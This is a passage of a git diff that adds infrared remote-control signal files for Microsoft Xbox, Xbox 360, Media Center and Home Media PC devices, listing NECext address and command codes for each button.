+# +name: SKIP_+ +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1A 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1A 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1B 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1B 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 20 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 20 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 21 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 21 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 22 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 22 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 23 00 00 00 +# +name: BACK_< +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 23 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 24 00 00 00 +# +name: B_(RED) +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 25 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 25 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 25 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 25 00 00 00 +# +name: Y_(YELLOW) +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 26 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 26 00 00 00 +# +name: Y +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 26 00 00 00 +# +name: Y_/_GUL +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 26 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 28 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 4F 00 00 00 +# +name: DISLPLAY +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 4F 00 00 00 +# +name: DISPLAY_MENU +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 4F 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 51 00 00 00 +# +name: TITLE_MENU +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 51 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 64 00 00 00 +# +name: XBOX +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 64 00 00 00 +# +name: XBOX_MENU +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 64 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir new file mode 100644 index 000000000..25c731081 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir new file mode 100644 index 000000000..20929d4f6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: FFW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 +# +name: CURSOR_-_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir new file mode 100644 index 000000000..59f21bd3d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: WINDOWS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: MORE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: SKIP>> +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: REPLAY<< +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 46 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: RECORDED_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: PICTURES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: VIDEOS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 +# +name: \PRINT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4E 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir new file mode 100644 index 000000000..9bc0f3999 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: Xbox +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: More +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 9A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: CE 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: D6 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: D7 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 05 00 00 00 +command: DA 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: E7 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F6 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F8 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir new file mode 100644 index 000000000..81c182d93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1B 00 00 00 +# +name: Reload +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1D 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1E 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1F 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 20 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 24 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 25 00 00 00 +# +name: KEY_Y +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 26 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 28 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 4F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 51 00 00 00 +# +name: XboxFancyButton +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 64 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 66 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir new file mode 100644 index 000000000..8f1b16777 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: SELECT_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 12 00 00 00 +# +name: SELECT_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 13 00 00 00 +# +name: SELECT_MIDDLE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 14 00 00 00 +# +name: SELECT_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 15 00 00 00 +# +name: SELECT_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 16 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 23 00 00 00 +# +name: SKIP- +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 24 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 25 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 26 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 27 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 41 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 42 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 43 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 44 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 81 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 82 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 83 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 84 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 85 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 86 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 87 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 88 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 89 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 8A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir new file mode 100644 index 000000000..9f198bbc9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir @@ -0,0 +1,434 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: DIGIT_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: WINDOWS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: MORE_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: FAST_FWD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: 